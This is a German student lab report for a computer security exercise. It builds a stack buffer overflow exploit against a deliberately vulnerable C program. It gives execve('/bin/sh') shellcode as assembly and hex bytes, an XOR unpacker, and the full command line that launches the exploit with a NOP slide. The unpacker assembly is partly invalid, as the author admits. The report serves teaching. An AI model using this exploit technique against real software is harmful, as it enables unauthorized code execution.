Rechnersicherheit: Übung 4

von 4370074

Tutor : Jan-Ole Malchow

Aufgabe

Aufgabe war es, für den gegebenen C Code **stack_victim.c** einen Exploit zu bauen, der eine Konsole öffnet. Dazu sollte zum einen ein **Shellcode** konstruiert zum anderen ein **Unpacker** geschrieben werden. Der Packer wurde uns dabei gestellt, zusammen mit der Möglichkeit Basepointer, Shellcodelänge und XOR-Maske in den **Unpacker** einzusetzen.

Überlegung

Der Code, den wir exploiten werden, sieht folgender Maßen aus:

```
void copy_string_unsafe(char *s) {
  char buf[256];

  strcpy(buf, s);
  printf("The string is \"%s\"\n", buf);
}
```

Interessant für uns ist, dass wir eine locale Variable anlegen, die aus einem Array besteht. Wenn wir also **strcpy** aufrufen, wir der Stack folgender Maßen aussehen

```
low                                                   high
   [        |    buffer         | ebp   | return   |     ]
                  256               4        4
```

Wir können unseren Shellcode also auf maximal 260 Byte ausdehnen, ohne hinter den Stackpointer zu rutschen. Diese Distanz müssen wir ohnehin komplett Ausnutzen, um die Returnaddresse zu überschreiben. Dies kommt uns gut zu pass, weil wir an den Anfang gerne eine NOP-Slide bauen möchten, um mit einer höheren Wahrscheinlichkeit treffen zu können.

Betrachten wir also als nächstes die beiden Codeteile, die wir schreiben müssen.

Shellcode

Wie man den Shellcode aufbauen kann, haben wir der VL, dem Tutorium und dem Paper 'Smashing the Stack for FUn and Profit' entnommen.

Betrachten wir erst einmal das Programm, das wir ausführen wollen in leicht verständichem C Code.

```
void openShell(){
    char *env[2];

    env[0] = "/bin/sh";
    env[1] = NULL;

    execve(name[0],name, NULL);
}
```

Um den Befehl **execve** auszuführen, müssen wir zum einen den String */bin/sh* reingeben. Als nächstes erwartet das Kommando einen Pointer auf eine Liste mit Umgebungsvariablen. In unserem Fall reicht es aus, den Befehl nocheinmal anzugeben und die Liste mit einer *NULL* zu terminieren. Als letztes Kommen noch Parameter hinzu, die an den Aufruf übergeben werden sollen. In unserem Fall keine, also reicht hier ein NULL.

Es bleibt zu erwähnen, das es in unseren ersten Versuchen gereicht hat *execve("/bin/sh",NULL,NULL)* zu benutzen. Da es aber überall so als Standard angegeben war, haben wir uns auch für diese Variante entschieden.

Nun können wir ein Problem bekommen unsere Liste zu bekommen, da wir die absoluten Addressen nicht zwangsläufig kennen und so also keinen Pointer auf diese Liste bekommen. Deswegen bedienen wir uns eines Tricks, den wir im Tutorium gesehen haben und im Paper nachgelesen haben.

Wir führen am Anfang einen Jump aus, an dem wir einen String auf den Stack legen. Davor springen wir mittels eines **call** dein Code an, der das *execve* aufruft. Dies bringt uns den Luxus, dass für diesen Aufruf ein neuer Stackframe angelegt wird. Da die Returnaddresse dieses Abschnitts auf den nächsten Codeabschnitt zeigt, der in unserem Fall unser String und unsere Liste ist, haben wir hier einen Pointer darauf, den wir ziemlich leicht erreichen.

Mit Hilfe dieser Pointer können wir nun einen Interrupt auslösen, der *execve* aufruft. Der folgende Code ist schon NULLByte frei gehalten, da wir den Code ersteinmal einzeln testen wollten.

```
jmp    0x1f
popl   %esi                 // Holt den Pointer auf den String vom Stack <---|
movl   %esi,0x8(%esi)                                                        |
xorl   %eax,%eax            //Erzeugt uns ein NULLByte                       |
movb   %eax,0x7(%esi)       //Terminiert unseren String mit '\0'             |
movl   %eax,0xc(%esi)       //Fügt das NULL als 2. in die Liste ein          |
movl   $0xb,%al             //Schreibt in den unteren Bereich von eax        |
movl   %esi,%ebx            //Lädt den String ins 2 Register (Aufruf)        |
leal   0x8(%esi),%ecx       //Addresse von /bin/sh (env[0])                  |
leal   0xc(%esi),%edx       //Addresse von NULL (env[1])                     |
int    $0x80                                                                 |
xorl   %ebx,%ebx           //Erzeugt ein NULLByte                           |
movl   %ebx,%eax           //Lädt es in eax                                 |
inc    %eax                //Setzt eay auf 1                                |
int    $0x80               //Ruft execve auf                                |
call   -0x24               // Hier kommt der erste Jump an und spingt-------
//Hier kommt /bin/sh
```

Wir sehen am Anfang den beschriebenen Jump, der relativ 0x1f Bytes nach vorne geht (in Byte representation nachgezählt). Gleich an dem Jump rufen wir per call eine Addresse relativ hinter uns auf (Im Bild eingezeichnet). Der Returnpointer zeigt nun auf den String, der danach steht. Wir können ihn einfach mit pop vom Stack holen und speichern ihn in %esi, was ein spezialregister für String Operationen ist. Danach schreiben wir ein Terminierendes Nullbyte ans Ende und die Null ins Array dahinter. Danach sortieren wir noch unsere Register für den Aufruf und werfen den Interrupt. Dieser wird nun die Register auslesen und den Befehl ausführen.

Das günstige für uns. Nach execve kehrt das Programm nicht zum ursprünglichen Verlauf zurück, wodurch der kaputte Stackframe nicht auffällt.

Dieses Programm können wir nun als inline Assambler in C schreiben und mit gcc kompilieren. Wir erhalten nach umschreiben, damit man es einfach rein pipen kann:

```
\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b
\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd
\x80\xe8\xdc\xff\xff\xff/bin/sh
```

Den Befehl /bin/sh können wir einfach im Klartext dahinter schreiben, da dieser dann als String einfach auf dem Stack steht, so wie wir ihn brauchen. Da dieser Code bereits Nullbyte frei ist, haben wir diesen ersteinmal getestet. Die Durchführung beschreiben wir im gleichnamigen Abschnitt.

(Un)Packer

Um den Unpacker zu bauen, müssen wir zuerst verstehen, wie der Packer funktioniert. In der Grundfunktionalität den Shellcode von Nullbytes zu befreien, wir dieser nach dem ersten Wert durchsucht, der nicht im Code vorkommt. Ist dies gefunden (vorrausgesetzt es ist vorhanden, sonst funktioniert es gar nicht) wird der gesammte Code mit diesem Byte geXORt. Da dieses Byte nicht im Code vorkommt, wird danach keine Null mehr drin stehen.

Der Packer gibt uns nun auch noch die Funktionalität, die XOR Maske in den Unpacker zu kopieren und uns die Länge des Shellcodes zu geben.

Diese 2 Werte genügen uns um den Code wieder in die von uns gewünscht ausführbare Variante zu übersetzen. Der Assamblercode dazu sieht folgender Maßen aus:

```
movl    $xor,%edx    //Hier wird die Maske reinkopiert
movl    %eip,%ecx    //Wir holen uns die aktuelle Stelle im Code
add  $0x2f,%ecx   //Addiert den restlichen offset vom Code darauf
movl    %ecx,%ebx   // Sichern, mit bx gehen wir über den Code
add  $len,%ecx  // Wir addieren die Länge auf die Zahl => Ende des Codes

//Anlegen der Variablen fertig
xorl    %edx,*(%ebx)  //XOR der Maske an der Stelle auf die ebx zeigt
inc  %ebx

cmp     %ebx,%ecx    // Wenn wir am Ende des Shellcodes sind
jnz  -0x12       //Springt an den Ende des Code

nop
nop              //Ein paar NOPs weil ich mir bei zählen nicht so sicher war
nop
nop
nop
```

Der erste Teil des Codes kümmert sich nur darum alle Werte die man braucht in Register zu laden. Ich benötige zum einen die Maske, einen aktuellen Pointer und das ende des codes. Prinzipiell würde es in C etwa so aussehen:

```
int d = 0xab;       //Beliebige Maske an dieser Stelle
int c = strln(buffer);
int b = 0;

while(c != b){
    buffer[b] = buffer[b] ^ d;
    b++;
}
```

Wenn wir das Programm kompilieren konnten wir den Bytecode daraus extrahieren. Ich konnte aber für diese Abgabe den Code nicht wieder generieren, da mein gcc mekert er würde movl nicht mehr kennen.

Wenn wir ihn haben, können wir ihn einfach benutzen und für unserem Code einfügen.

Durchführung

Nun haben wir alles zusammen, was wir brauchen. Da unser Shellcode an sich Nullbytefrei war, wird das Buildscript den Code gar nicht mehr mit einbauen.

Sonst würde man den Builder aufrufen mit (packer.o ist unser packer in bytes, ebenso exploit.c der exploit [siehe oben]):

```
stack_builder -p packer.o -c exploit.o -2 40 -4 45 -x 1 -l 7 -b 0xffffd358 -s 260
```

Die Länge konnten wir aus dem Aufbau auslesen (siehe Überlegung). Die Addresse konnte man in gdb leicht herraus finden, indem man ein break auf copy_string_unsafe setzt.

Die anderen Parametern bekommt man auch leicht durch zählen herraus.

Dies war nun unser 2ter Test. Da wir den unpacker nicht benötigt haben, haben wir unseren Shellcode auch einmal selber zusammen gebastelt (Die Addresse ist hier eine andere, da wir auf einer anderen VM getestet hatten)

Der Aufbau sah wie folgt aus:

```
gcc -o stack stack_victim.c
./stack $(python -c "print 214*'\x90'+'\x90\xeb\x1f
\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0
\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh'+
4*'\xbf\xf1\xff\xbf'")
```

Wie man sieht, haben wir vor unseren Code (der selbe wie oben) 215 mal ein NOP als NOPSlide genommen. Nach den Code haben wir 4 mal eine Addresse angegeben, die in etwa in der Mitte der NOPs liegen sollte. Die Berechnungsformel haben wir dem stack_builder.c entnommen.

Damit lief der exploit so gut, wie mit dem buildscript.

Auswertung

Folgendes waren die Ausgaben des Buildscriptes:

```
Loaded 40 bytes of packer code.
Loaded 45 bytes of shellcode.
No string packer is necessary.
Using 216 bytes of NOP slide, 0 bytes of packer
```

Prinzipiell kommt der selbe Code herraus, den wir bekommen. Der Vorteil an dem Buildscript ist, dass es Nullbytes herrausshifted, wenn diese in der Sprungaddresse vorkommen.

Die Theorie hinter dem Exploit ist nicht sehr schwer zu verstehen gewesen.

Das was Probleme bereit hat, ist das wir am Anfang nicht zurecht kamen, wie man die ganzen Routinen anspringen soll.

Das man in so kurzer Zeit nicht selbst darauf kommen konnte, machte die Aufgabe ziemlich witzlos, weil man den größten Teil wirklich aus dem Script nehmen konnte.

Wenn man den Code ersteinmal hatte, war das Verständnis auch nicht mehr schwer.

Der Umgang mit dem Buildscript war auch nicht sehr intuitiv. Ich hab ewig gebraucht, bis ich verstanden habe, was dort wo hin muss. Nur gut, dass ich durch den Selbstversuch schon wusste, dass es funktioniert.

Schade war auch, dass man seinen Code nicht einfach in das Programm pipen konnte, sondern immer als Paramter übergeben musste.